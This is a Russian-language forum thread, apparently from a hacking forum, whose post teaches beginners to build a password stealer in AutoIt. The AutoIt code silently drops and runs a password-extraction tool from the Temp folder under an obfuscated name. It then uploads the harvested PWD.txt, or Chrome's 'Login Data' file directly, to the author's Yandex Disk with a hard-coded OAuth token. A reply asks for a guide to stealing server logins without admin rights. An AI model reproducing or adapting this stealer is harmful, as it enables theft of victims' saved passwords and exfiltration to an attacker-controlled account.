Делаем простенький стиллер на Autoit.

Продолжать писать гайды по Autoit?


  • Всего проголосовало
    10

colegero

Новичок
Статус
offline
Регистрация
01.11.2017
Сообщения
2
Репутация
0
Привет ребятки! Сегодня я расскажу, как сделать простой стиллер паролей на Autoit. Гайдец предназначена для новичков.
Нам понадобится:
1. Зарегистрироваться на яндекс.
2. Перейти по адресу https://oauth.yandex.ru/
3. Создать приложение, нажав на ссылку Регистрация клиентских приложений
3.1 Заполните название, описание.
3.2 Дайте приложению следующие права:
а) Яндекс.Диск REST API: Все;
б) Яндекс.Диск WebDAV API: Все
3.3 Callback URL - установите "Подставить URL для разработки"
Сохраните и получите ID приложения. Например: b7a724f16b134fc3858c872215b64d2d
4. Составьте и перейдите по ссылке вида: https://oauth.yandex.ru/authorize?r...7a724f16b134fc3858c872215b64d2d&display=popup
4.1 Разрешите доступ приложению.
5. Перепишите и сохраните OAuth-токен (Например: fb1b2ca38d3942378dfc3ce1ff9c4d41).
Не спутайте его с ID!
Этот токен действует 1 год.
https://github.com/dragana-r/autoit-winhttp/releases/download/1.6.4.1/1.6.4.1.zip
Библиотеку необходимо поместить в директорию Include, "C:\Program Files\AutoIt3\Include"
В своем примере я буду использовать "PWD recovery" тулзу, аналог "WebBrowserPassView" и подобных программ. При запуске данной тулзы, в текущей директории создается "PWD.txt" с вытащенными в моем случае из хрома, паролями.
Создаем папку, в нее суем UDF'ку yandex, тулзу и будущий стиллер.
#NoTrayIcon
#include 'yadisk.au3'
FileInstall('PWD recovery.exe', @TempDir & '\9032103eff257ddc1bbdb8e66a2744a8_fce8395c8fd8a861_cfeb3256cd855309_0_0')
;PWD recovery установится в директорию Temp и будет называться "9032103eff257ddc1bbdb8e66a2744a8_fce8395c8fd8a861_cfeb3256cd855309_0_0" (не спрашивайте почему я так обзываю файлы)
Run(@TempDir & '\9032103eff257ddc1bbdb8e66a2744a8_fce8395c8fd8a861_cfeb3256cd855309_0_0')
sleep(5000)
;Происходит запуск нашей тулзы из директории Temp и ожидание 5 сек, когда появится PWD.txt
_yadisk_set_access_token('fb1b2ca38d3942378dfc3ce1ff9c4d41')
;Подрубаемся к токену
_yadisk_create_dir('/PWD')
;В диске создается папка "PWD"
Global $sRandom
For $i = 1 to 1
$sRandom &= Random(10, 10000, 1)
;Поскольку тулза каждый раз выплевывает не уникальное имя файла, а "PWD.txt", объявляем переменную "Random", которая присвоит залитому на диск файлу имя в виде целого числа между 10 и 10000 (Вы можете использовать любые значения)
$test_file = '.txt'
;Для присвоения формата .txt
_yadisk_upload_file(@TempDir & '\PWD.txt', '/PWD/' & $sRandom & $test_file)
;На диск заливается "PWD.txt" - в папку "PWD" - файлу присваивается рандомное имя - присваивается формат .txt
Next
В конце хочу сказать, что это всего лишь пример и вы можете обойтись без всяких тулзов, например можно заливать на диск сразу файлы из хрома и других браузеров
_yadisk_upload_file(@UserProfileDir & '\AppData\Local\Google\Chrome\User Data\Default\Login Data', '/PWD/' & $sRandom & $test_file)

Исходники https://drive.google.com/open?id=10ulpz-K7WklHcf9xqJvpdwIHy52AD1FB
 
Последнее редактирование:

kava7banga

Участник
Статус
offline
Регистрация
16.11.2017
Сообщения
104
Репутация
24
а можно мануальчик по выводу пас логин с серверов, мол установил - прислало... и если без админ прав то просто бомба будет )